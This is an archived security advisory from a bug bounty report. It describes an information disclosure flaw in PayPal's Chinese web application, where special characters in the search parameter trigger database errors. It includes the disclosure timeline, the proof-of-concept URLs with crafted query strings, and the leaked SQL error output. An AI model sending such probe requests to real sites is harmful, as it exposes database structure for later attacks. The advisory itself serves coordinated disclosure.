PayPal Chinese Web Application Information Disclosure

2013-03-19T00:00:00
ID PACKETSTORM:120849
Type packetstorm
Reporter vulnerability-lab.com
Modified 2013-03-19T00:00:00

Description

                                        
                                            `Title:  
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PayPal Bug Bounty CN #60 - Information Disclosure DBMS  
  
  
Date:  
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2013-03-19  
  
  
References:  
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http://www.vulnerability-lab.com/get_content.php?id=845  
  
  
VL-ID:  
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845  
  
  
Common Vulnerability Scoring System:  
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2  
  
  
Introduction:  
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PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money   
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally,   
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some   
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined   
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified   
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy   
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your   
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a   
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary   
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.  
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request   
a transfer to their bank account.  
  
PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it   
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency   
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account   
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.  
  
On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its corporate headquarters are in San Jose, California, United   
States at eBay s North First Street satellite office campus. The company also has significant operations in Omaha, Nebraska, Scottsdale,   
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow (near Berlin) and Tel Aviv. As of July 2007, across   
Europe, PayPal also operates as a Luxembourg-based bank.  
  
On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP), China s bankcard association, to allow Chinese consumers   
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia to 2,000 by the end of the year 2010.  
Between December 4-9, 2010, PayPal services were attacked in a series of denial-of-service attacks organized by Anonymous in retaliation   
for PayPal s decision to freeze the account of WikiLeaks citing terms of use violations over the publication of leaked US diplomatic cables.  
  
(Copy of the Vendor Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]  
  
  
Abstract:  
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The Vulnerability Laboratory Research Team discovered a information disclosure web vulnerability in the official chinese (CN) PayPal Inc web application service.  
  
  
Report-Timeline:  
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2013-01-30: Researcher Notification & Coordination  
2013-01-31: Vendor Notification  
2013-02-06: Vendor Response/Feedback  
2013-03-10: Vendor Fix/Patch  
2013-03-18: Public Disclosure  
  
  
Status:  
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Published  
  
  
Affected Products:  
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PayPal Inc  
Product: [CN] (PP) Web Application - Core 2013 Q1  
  
  
Exploitation-Technique:  
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Remote  
  
  
Severity:  
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Medium  
  
  
Details:  
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An information disclosure web vulnerability is detected in the official chinese (CN) PayPal Inc web application service.  
The bug allows remote attackers to capture unauthorized database table name & dbms structure information.  
  
The information disclosure web vulnerability is located in the home search service when processing to request a query with special chars   
via the vulnerable q parameter. Attackers can for example include special chars with a split in the request to provoke dbms errors.  
The dbms errors impacts table names, columns, counts and other important structure information.  
  
Exploitation of the vulnerability requires a low privileged application user account to access the website area and can   
processed without user interaction. Successful exploitation of the vulnerability results in information disclosure.  
  
Vulnerable Service(s):  
[+] PayPal Inc - [CN] (Core) - https://www.paypal-biz.com/  
  
Vulnerable Module(s):  
[+] Home > Search - https://www.paypal-biz.com/search/  
  
Vulnerable Parameter(s):  
[+] q (?q=)  
  
Affected Module(s):  
[+] Results > Listing  
  
  
Proof of Concept:  
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The vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction.  
For demonstration or reproduce ...  
  
PoC:  
https://www.paypal-biz.com/search/?q=+%2520%2520%2520%2520%3E++%2520%2520%2520%2520%3E  
+++++++++++++++++++++%3C+%3C+++++++++%+++++++++%2520%2520%2520%2520%3E+&qtype=paypalcollege_new&scatid=425&x=37&y=16  
  
https://www.paypal-biz.com/search/?q=+%20+20%3E--%20+&qtype=paypalcollege_new&scatid=425&x=37&y=16  
  
  
Review: Results - Listing  
  
<html xmlns="http://www.w3.org/1999/xhtml"><head></head><body>SELECT COUNT(*) AS `count` FROM phpcms_c_webinar   
a,phpcms_content b where b.title<>'' and a.contentid=b.contentid and b.status=99 and b.catid in (425,426,427,428,  
611,612,613,614,615,616) and (b.title LIKE '%%20%20%20%20>%%%20%20%20%20>%%%%%%%%%%%%%%%%%%%%%%20%20%20%20>%'   
or a.content LIKE '%%20%20%20%20>%%%20%20%20%20>%%%%%%%%%%%%%%%%%%%%%%20%20%20%20>%')  
  
  
--- Error Log ---  
Example: SELECT COUNT(*) AS `count` FROM phpcms_c_webinar a,phpcms_content b where b.title<>''   
and a.contentid=b.contentid and b.status=99 and b.catid in (425,426,427,428,611,612,613,614,615,616) and (b.title LIKE '' or a.content LIKE '-1'')   
  
  
Reference(s):  
https://www.paypal-biz.com/search/  
https://www.paypal-biz.com/search/?q=  
  
  
Risk:  
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the security risk of the information disclosure web bug is estimated as low(+)|(-)medium.  
  
  
Credits:  
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Vulnerability Laboratory [Research Team] - Shadow (CNNVD.ORG.CN PARTNERS)  
  
  
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